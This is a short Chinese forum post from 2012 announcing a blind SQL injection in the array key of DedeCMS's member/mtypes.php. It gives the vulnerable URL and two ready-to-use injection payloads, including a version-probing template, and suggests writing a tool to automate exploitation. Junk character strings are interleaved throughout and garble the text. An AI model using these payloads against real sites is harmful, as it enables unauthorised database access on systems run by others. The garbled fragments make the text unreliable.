需要magic_quotes_gpc = Off,所以说是鸡肋啊.
+ U$ b2 l2 S O/ d$ D
: G5 X5 S, F0 N9 y- U" V3 y2 B, ` ) G* Y3 w i/ U5 G; E4 O
发生在数组key里的注射漏洞,有点意思.
+ c- q" X, G, ?) Q * M9 B( y% K" j/ |* N
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
& X; `& s' w3 _# V
! K8 [5 P, P, [( phttp://www.xxx.com /dede/member/mtypes.php?dopost=save
2 s, m% ~2 T K+ B) w, ^4 n
) J( P9 P9 @ d* M. R& r6 aexploit:" c7 s7 F* C6 v1 [& b) i
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r8 @ d, i8 ^9 o/ p$ o
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
% V2 h; v$ i6 c6 K/ b' Z | |
发表于 2012-12-20 08:08:09
收藏
支持
反对